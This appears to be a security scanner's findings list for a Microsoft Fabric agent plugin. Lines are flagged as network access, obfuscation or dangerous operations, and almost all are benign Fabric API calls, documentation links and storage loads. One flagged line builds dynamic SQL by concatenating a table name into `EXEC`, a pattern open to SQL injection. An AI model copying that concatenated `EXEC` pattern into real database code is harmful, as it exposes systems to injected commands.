| Fetch | [Environment libraries](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-library) | Quick mode (5s publish) vs Full mode (stable snapshot), PyPI/Conda/Maven/custom .whl/.jar, publish mode selection, Ful - Network accessline 104
| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Notebook visualization](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-visualization) | `display(df)` (rich table view, chart view, multi-chart, summary v - Network accessline 106
| Fetch | [Notebook visualization](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-visualization) | `display(df)` (rich table view, chart view, multi-chart, summary view), `displayHTML()` (D3.js, custom HTML), `powerbicli - Network accessline 112
| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `V - Network accessline 113
|---|---|---| | Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `VACUUM`, Z-Order, Optimize Write (`spark.m - Network accessline 114
| Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `VACUUM`, Z-Order, Optimize Write (`spark.microsoft.delta - Network accessline 115
| Fetch | [Table compaction](https://learn.microsoft.com/en-us/fabric/data-engineering/table-compaction) | bin compaction, small file problem diagnosis, compaction patterns, `OPTIMIZE WHERE` | - Network accessline 116
| Fetch | [Tune file size](https://learn.microsoft.com/en-us/fabric/data-engineering/tune-file-size) | `spark.microsoft.delta.targetFileSize`, partitioned table tuning, write performance vs read performance trade-offs | - Network accessline 117
| Fetch | [Resource profiles](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations) | `writeHeavy`, `readHeavyForPBI`, `readHeavyForSpark`, custom profile config, when to apply which profile | - Network accessline 121
| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versio - Network accessline 122
|---|---|---| | Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versions per runtime, built-in library list | | - Network accessline 123
| Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versions per runtime, built-in library list | - Network accessline 124
| Fetch | [Native Execution Engine](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) | Velox-based execution, performance boost, enable/disable via `spark.native.enabled`, supported operators, fall - Network accessline 125
| Fetch | [High Concurrency mode](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-high-concurrency-session-notebooks) | share Spark session across notebooks, session isolation, conditions for sharing, pipeline high concu - Network accessline 126
| Fetch | [Environment compute](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-compute) | node size (Small/Medium/Large/XL/XXL), driver/executor core and memory config, Spark properties in Environment artifact - Network accessline 127
| Fetch | [Spark best practices](https://learn.microsoft.com/en-us/fabric/data-engineering/spark-best-practices-development-monitoring) | development patterns, runtime selection, High Concurrency tips, monitoring and diagnostics, MLV organi - Network accessline 132
|---|---|---| | Local | [ml-workflow.md](notebook-authoring/ml-workflow.md) | MLflow experiment setup, `mlflow.set_experiment`, autologging, model registration, SynapseML, LightGBM, PREDICT function, batch scoring, MLFlowTransformer, scikit - Network accessline 133
| Local | [ml-workflow.md](notebook-authoring/ml-workflow.md) | MLflow experiment setup, `mlflow.set_experiment`, autologging, model registration, SynapseML, LightGBM, PREDICT function, batch scoring, MLFlowTransformer, scikit-learn, PyTorc - Network accessline 134
| Fetch | [MLflow autologging](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-autologging) | autolog configuration, disable autologging, custom metric logging | - Network accessline 135
| Fetch | [ML experiments](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-experiment) | create experiment, compare runs, search runs, track training iterations | - Network accessline 136
| Fetch | [ML models](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-model) | register model, version model, model registry, model lineage | - Network accessline 137
| Fetch | [Model training overview](https://learn.microsoft.com/en-us/fabric/data-science/model-training-overview) | SparkML, SynapseML, scikit-learn, PyTorch, XGBoost — framework comparison and selection | - Network accessline 138
| Fetch | [PREDICT function](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | batch scoring with MLFlowTransformer, Spark SQL `PREDICT`, UDF-based scoring | - Network accessline 143
|---|---|---| | Local | [troubleshooting.md](notebook-authoring/troubleshooting.md) | error diagnosis, `sparkdriver.log`, `sparkexecutor.log`, notebookutils log, blobfuse log, Python logging configuration, common error patterns | | Fetch | - Network accessline 144
| Local | [troubleshooting.md](notebook-authoring/troubleshooting.md) | error diagnosis, `sparkdriver.log`, `sparkexecutor.log`, notebookutils log, blobfuse log, Python logging configuration, common error patterns | | Fetch | [notebookutils - Network accessline 145
| Fetch | [notebookutils.udf](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-user-data-function) | `getFunctions()` (retrieve UDF item functions), invoke functions with positional/named params, `itemDe - Network accessline 146
| Fetch | [T-SQL notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-tsql-notebook) | T-SQL cells, set primary warehouse, cross-warehouse three-part naming queries, limitations (no parameter cell, no SPN support) | - Network accessline 147
| Fetch | [NotebookUtils overview](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities) | full module list, general `notebookutils.help()`, getting started with NotebookUtils | - Network accessline 148
| Fetch | [MSSparkUtils (legacy)](https://learn.microsoft.com/en-us/fabric/data-engineering/microsoft-spark-utilities) | `mssparkutils` backward compatibility reference — **deprecated, use `notebookutils` instead** |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDB-AUTHORING-CORE.md
- Network accessline 59
**Summary**: SQL Database offers most of the Azure SQL Database T-SQL surface (OLTP-optimized, row-store, enforced constraints, triggers, temporal tables, vectors, IQP, external tables, AI functions — see [limitations](https://learn.microso - Network accessline 71
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items - Network accessline 97
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases - Network accessline 127
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/restorableDeletedDatabases - Network accessline 135
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases - Network accessline 723
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items - Network accessline 789
Replication of a Fabric SQL database to its SQL analytics endpoint (OneLake Delta tables) is **automatic and managed by the platform** — there is no start/stop mirroring REST operation on the SQLDatabase item. The [SQLDatabase Items REST su - Network accessline 791
> **Sources**: [Mirroring limitations](https://learn.microsoft.com/en-us/fabric/database/sql/mirroring-limitations), [SQL database limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations). - Network accessline 797
> **Sources**: [SQL database limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations), [Mirroring limitations](https://learn.microsoft.com/en-us/fabric/database/sql/mirroring-limitations). - Dangerous shell operationline 978
EXEC('SELECT * FROM ' + @tableName); - Network accessline 1032
> **REST API reference**: [SQL Audit Settings API](https://learn.microsoft.com/en-us/rest/api/fabric/sqldatabase/sql-audit-settings) - Network accessline 1039
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/settings/sqlAudit - Network accessline 1047
PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/settings/sqlAudit - Network accessline 1074
> **REST API reference**: [Revalidate CMK](https://learn.microsoft.com/en-us/rest/api/fabric/sqldatabase/items/revalidate-cmk) - Network accessline 1079
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/revalidateCMK
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDB-CONSUMPTION-CORE.md
- Network accessline 40
| **Supported identities** | Users, service principals, Entra groups | Users, service principals, Entra groups | | **Encryption** | Required (TDS 8.0) | Required | | **Token audience** | `https://database.windows.net/.default` | `https://da - Network accessline 41
| **Encryption** | Required (TDS 8.0) | Required | | **Token audience** | `https://database.windows.net/.default` | `https://database.windows.net/.default` | | **Collation** | `SQL_Latin1_General_CP1_CI_AS` (case-insensitive) | Workspace de - Network accessline 42
| **Token audience** | `https://database.windows.net/.default` | `https://database.windows.net/.default` | - Network accessline 58
SQL database in Fabric uses the **Azure SQL Database engine**, so it supports most of the Azure SQL T-SQL surface (see [limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations) for exceptions). Key areas for consumpti
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDW-AUTHORING-CORE.md
- Network accessline 67
AS SELECT * FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 67
AS SELECT * FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 68
SELECT * FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/data.parquet' ) AS data; - Network accessline 68
SELECT * FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/data.parquet' ) AS data; - Network accessline 69
BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 69
BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 287
-- Parquet (auto-schema inference) COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 287
-- Parquet (auto-schema inference) COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 288
COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET'); - Network accessline 288
COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET'); - Network accessline 289
FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 289
FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 292
-- CSV with options COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' - Network accessline 292
-- CSV with options COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' - Network accessline 293
COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' WITH ( - Network accessline 293
COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' WITH ( - Network accessline 294
FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' - Network accessline 294
FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' - Network accessline 300
-- Auto table creation (table need not exist) COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' - Network accessline 300
-- Auto table creation (table need not exist) COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' - Network accessline 301
COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' WITH (FILE_TYPE = 'PARQUET', AUTO_CREATE_TABLE = 'TRUE'); - Network accessline 301
COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' WITH (FILE_TYPE = 'PARQUET', AUTO_CREATE_TABLE = 'TRUE'); - Network accessline 302
FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' - Network accessline 302
FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' - Network accessline 323
BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 323
BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 330
CAST(sale_date AS date) AS SaleDate FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' - Network accessline 330
CAST(sale_date AS date) AS SaleDate FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' - Network accessline 331
FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' ) AS raw - Network accessline 331
FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' ) AS raw - Network accessline 332
BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' - Network accessline 332
BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' - Network accessline 338
BULK 'https://storage.dfs.core.windows.net/container/data.csv', - Network accessline 338
BULK 'https://storage.dfs.core.windows.net/container/data.csv', - Network accessline 346
BULK 'https://storage.dfs.core.windows.net/container/year=*/month=*/*.parquet' - Network accessline 346
BULK 'https://storage.dfs.core.windows.net/container/year=*/month=*/*.parquet'
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDW-CONSUMPTION-CORE.md
- Network accessline 48
| **Authentication** | Microsoft Entra ID only (no SQL auth) | | **Encryption** | Required (`Encrypt=Yes`) | | **Token audience** | `https://database.windows.net/.default` | - Network accessline 50
| **Token audience** | `https://database.windows.net/.default` | - Network accessline 702
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlEndpoints/{sqlEndpointId}/refreshMetadata
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/connections.md
- Network accessline 22
[Credential-related source omitted] - Network accessline 23
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Network accessline 34
[Credential-related source omitted] - Network accessline 42
**Documentation**: [Credentials utilities](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-credentials) - Network accessline 82
from azure.storage.blob import BlobServiceClient cred = notebookutils.connections.getCredential("{connectionId}") client = BlobServiceClient(account_url="https://{accountName}.blob.core.windows.net", credential=cred["key"]) - Network accessline 84
client = BlobServiceClient(account_url="https://{accountName}.blob.core.windows.net", credential=cred["key"])
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/context-and-params.md
- Network accessline 44
**Documentation**: [Runtime context](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-runtime) - Network accessline 113
**Documentation**: [Variable library utilities](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/lakehouse-paths.md
- Network accessline 107
**Additional Reference:** [Load data in lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-notebook-load-data)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/library-mgmt.md
- Network accessline 5
> **Public documentation — fetch for detailed guidance:** > - [Manage Apache Spark libraries in Fabric](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) — best practices, supported library types, inline install - Network accessline 6
> - [Manage Apache Spark libraries in Fabric](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) — best practices, supported library types, inline install (%pip/%conda), pipeline considerations - Network accessline 7
> - [Manage libraries in Fabric environments](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-library) — built-in libraries, external repositories (PyPI/Conda/Maven/private), custom libraries (.whl/.jar/.tar.gz) - Network accessline 8
> - [Environment public APIs](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-public-api) — REST API for environment CRUD, list/upload/delete libraries, publish operations - Network accessline 14
Each Fabric Spark runtime ships with pre-installed Python libraries. The authoritative, version-pinned lists are maintained in the [microsoft/synapse-spark-runtime](https://github.com/microsoft/synapse-spark-runtime/tree/main/Fabric) GitHub - Network accessline 18
| Runtime | Spark | Python | Java | Scala | Delta Lake | OS | YAML File | |---|---|---|---|---|---|---|---| | 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-ru - Network accessline 19
|---|---|---|---|---|---|---|---| | 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.2%20(Spark%203.4)/Fabric-Python310-CPU. - Network accessline 20
| 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.2%20(Spark%203.4)/Fabric-Python310-CPU.yml) | - Network accessline 21
| 1.3 | 3.5.5 | 3.11 | 11 | 2.12.18 | 3.2 | Mariner 2.0 | [`Fabric-Python311-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.3%20(Spark%203.5)/Fabric-Python311-CPU.yml) | - Network accessline 22
| 2.0 | 4.0.1 | 3.12 | 21 | 2.13.16 | 4.0 | Azure Linux 3.0 | [`Fabric-Python313-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%202.0%20(Spark%204.0)/Fabric-Python313-CPU.yml) | - Network accessline 24
> All files are in [`microsoft/synapse-spark-runtime`](https://github.com/microsoft/synapse-spark-runtime/tree/main/Fabric). Version details from `Components.json` in each runtime folder.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/ml-workflow.md
- Network accessline 14
| Topic | Documentation | When to Fetch | |---|---|---| | Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic lin - Network accessline 15
|---|---|---| | Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic link | | Model training overview | [Train ML - Network accessline 16
| Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic link | - Network accessline 17
| Model training overview | [Train ML models](https://learn.microsoft.com/en-us/fabric/data-science/model-training-overview) | SparkML vs SynapseML vs popular libraries, framework comparison | - Network accessline 18
| MLflow autologging | [Autologging in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-autologging) | autolog default config, `exclusive=False` for custom logging, disable per-session or workspace-wide | - Network accessline 19
| ML experiments | [ML experiments](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-experiment) | `set_experiment`, `start_run`, `search_runs`, compare runs, tags, inline widget | - Network accessline 20
| ML models | [ML models](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-model) | `register_model`, model versioning, compare versions, apply models | - Network accessline 21
| MLflow upgrade | [Upgrade ML tracking](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-upgrade) | upgrading workspace ML tracking experience | - Network accessline 22
| Cross-workspace logging | [Cross-workspace MLflow](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-cross-workspace-logging) | log models/experiments across workspaces | - Network accessline 26
| Topic | Documentation | When to Fetch | |---|---|---| | Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inf - Network accessline 27
|---|---|---| | Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inference with `MLFlowTransformer` | | Train - Network accessline 28
| Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inference with `MLFlowTransformer` | - Network accessline 29
| Train with PyTorch | [PyTorch + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-pytorch) | CNN training, `mlflow.pytorch.log_model`, load & evaluate | - Network accessline 30
| Train with SparkML | [SparkML tutorial](https://learn.microsoft.com/en-us/fabric/data-science/fabric-sparkml-tutorial) | SparkML pipeline, VectorAssembler, ML pipeline stages | - Network accessline 31
| AutoML with FLAML | [AutoML in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/how-to-use-automated-machine-learning-fabric) | `flaml.AutoML`, Spark parallelization, `to_pandas_on_spark`, time budget | - Network accessline 32
| Low-code AutoML UI | [Low-code AutoML](https://learn.microsoft.com/en-us/fabric/data-science/low-code-automl) | code-free AutoML via UI widget | - Network accessline 36
| Topic | Documentation | When to Fetch | |---|---|---| | SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support | - Network accessline 37
|---|---|---| | SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support | | LightGBM models | [LightGBM + SynapseML](https://learn.microsoft.com/en-us/fabric/data-sci - Network accessline 38
| SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support | - Network accessline 39
| LightGBM models | [LightGBM + SynapseML](https://learn.microsoft.com/en-us/fabric/data-science/how-to-use-lightgbm-with-synapseml) | `LightGBMClassifier`, `LightGBMRegressor`, `LightGBMRanker`, feature importance | - Network accessline 40
| First model with SynapseML | [Build a model](https://learn.microsoft.com/en-us/fabric/data-science/synapseml-first-model) | text featurization pipeline, prebuilt models | - Network accessline 41
| Foundry Tools + SynapseML | [Foundry Tools BYOK](https://learn.microsoft.com/en-us/fabric/data-science/ai-services/ai-services-in-synapseml-bring-your-own-key) | vision, speech, language, translation, anomaly detection via SynapseML trans - Network accessline 42
| OpenAI + SynapseML | [Azure OpenAI at scale](https://learn.microsoft.com/en-us/fabric/data-science/open-ai) | distributed LLM prompting with `OpenAICompletion` | - Network accessline 46
| Topic | Documentation | When to Fetch | |---|---|---| | PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySp - Network accessline 47
|---|---|---| | PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySpark UDF, supported flavors | | Model endpo - Network accessline 48
| PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySpark UDF, supported flavors | - Network accessline 49
| Model endpoints | [Real-time endpoints](https://learn.microsoft.com/en-us/fabric/data-science/model-endpoints) | activate/deactivate endpoints, auto-sleep, consumption rate, REST API | - Network accessline 53
| Topic | Documentation | When to Fetch | |---|---|---| | Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT | - Network accessline 54
|---|---|---| | Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT | | Fraud detection | [Fraud detection](https://learn.microsoft.com/e - Network accessline 55
| Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT | - Network accessline 56
| Fraud detection | [Fraud detection](https://learn.microsoft.com/en-us/fabric/data-science/fraud-detection) | SMOTE, LightGBM, model registration, batch scoring | - Network accessline 57
| Machine fault detection | [Predictive maintenance](https://learn.microsoft.com/en-us/fabric/data-science/predictive-maintenance) | RF + LogReg + XGBoost, MLflow model comparison | - Network accessline 58
| Sales forecasting | [Sales forecasting](https://learn.microsoft.com/en-us/fabric/data-science/sales-forecasting) | time-series, Prophet, autolog | - Network accessline 59
| Text classification | [Text classification](https://learn.microsoft.com/en-us/fabric/data-science/title-genre-classification) | Word2Vec, cross-validation, Spark ML pipeline |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/notebook-resources.md
- Network accessline 76
**Documentation**: [Notebook resources](https://learn.microsoft.com/en-us/fabric/data-engineering/how-to-use-notebook#notebook-resources)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/troubleshooting.md
- Network accessline 5
> **Public documentation (for user reference, not agent-actionable):** > - [Python logging in notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#python-logging-in-a-notebook) — `logging.getLogger`, - Network accessline 6
> - [Python logging in notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#python-logging-in-a-notebook) — `logging.getLogger`, log levels, custom formatters
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/SKILL.md
- Network accessline 79
- Select exactly one mode from the table above before doing anything else. - Read `references/<mode>.md` end to end, as your FIRST tool call, before the first command of that mode. A reply that only asks a clarifying question, and issues no - Network accessline 80
- Read `references/<mode>.md` end to end, as your FIRST tool call, before the first command of that mode. A reply that only asks a clarifying question, and issues no Fabric call, does not need it yet. - Pass `--resource https://api.fabric.m - Network accessline 81
- Pass `--resource https://api.fabric.microsoft.com` on every `az rest` call — without it the token audience is wrong and the call returns 401.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/authoring.md
- Network accessline 13
| Long-Running Operations (LRO) | [COMMON-CORE.md § Long-Running Operations (LRO)](../../../common/COMMON-CORE.md#long-running-operations-lro) | Create, getDefinition, updateDefinition may return 202 | | Fabric Item Definitions | [ITEM-DEFI - Network accessline 14
| Fabric Item Definitions | [ITEM-DEFINITIONS-CORE.md § Definition Envelope](../../../common/ITEM-DEFINITIONS-CORE.md#definition-envelope) | Base64-encoded parts structure | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric - Network accessline 15
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** | - Network accessline 49
with open('update-body.json', 'w', encoding='utf-8') as f: f.write(body) # Then: az rest --method POST --url "...updateDefinition" --resource "https://api.fabric.microsoft.com" --body @update-body.json - Network accessline 51
# Then: az rest --method POST --url "...updateDefinition" --resource "https://api.fabric.microsoft.com" --body @update-body.json - Possible obfuscationline 57
entities = json.loads(base64.b64decode(part['payload']).decode('utf-8')) - Network accessline 94
DEFINITION=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 95
"https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 283
- **Confirm a real source before authoring** -- follow the [Source Validation Gate](#source-validation-gate): resolve the source in the requested workspace, validate the requested signal column/field, and observe at least one representative - Network accessline 284
- **Always use `--resource https://api.fabric.microsoft.com`** with `az rest` — without it, token audience is wrong
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/authoring/powerbi-source.md
- Network accessline 165
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${REPORT_WS_ID}/reports/${REPORT_ID}/getDefinition" \ - Network accessline 166
--url "https://api.fabric.microsoft.com/v1/workspaces/${REPORT_WS_ID}/reports/${REPORT_ID}/getDefinition" \ - Network accessline 167
--resource "https://api.fabric.microsoft.com" \ - Network accessline 175
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${MODEL_WS_ID}/semanticModels/${DATASET_ID}/getDefinition" \ - Network accessline 176
--url "https://api.fabric.microsoft.com/v1/workspaces/${MODEL_WS_ID}/semanticModels/${DATASET_ID}/getDefinition" \ - Network accessline 177
--resource "https://api.fabric.microsoft.com" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/consumption.md
- Network accessline 15
| Fabric Item Definitions | [ITEM-DEFINITIONS-CORE.md § Definition Envelope](../../../common/ITEM-DEFINITIONS-CORE.md#definition-envelope) | Base64 payload structure | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../. - Network accessline 16
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest] - Network accessline 17
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** | - Network accessline 52
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \ - Network accessline 53
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \ - Network accessline 54
--resource "https://api.fabric.microsoft.com" \ - Network accessline 65
NEXT_URL="https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" - Network accessline 67
RESPONSE=$(az rest --method GET --url "$NEXT_URL" --resource "https://api.fabric.microsoft.com") - Network accessline 69
--resource "https://api.fabric.microsoft.com") - Network accessline 78
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes?recursive=true&rootFolderId=${FOLDER_ID}" \ - Network accessline 79
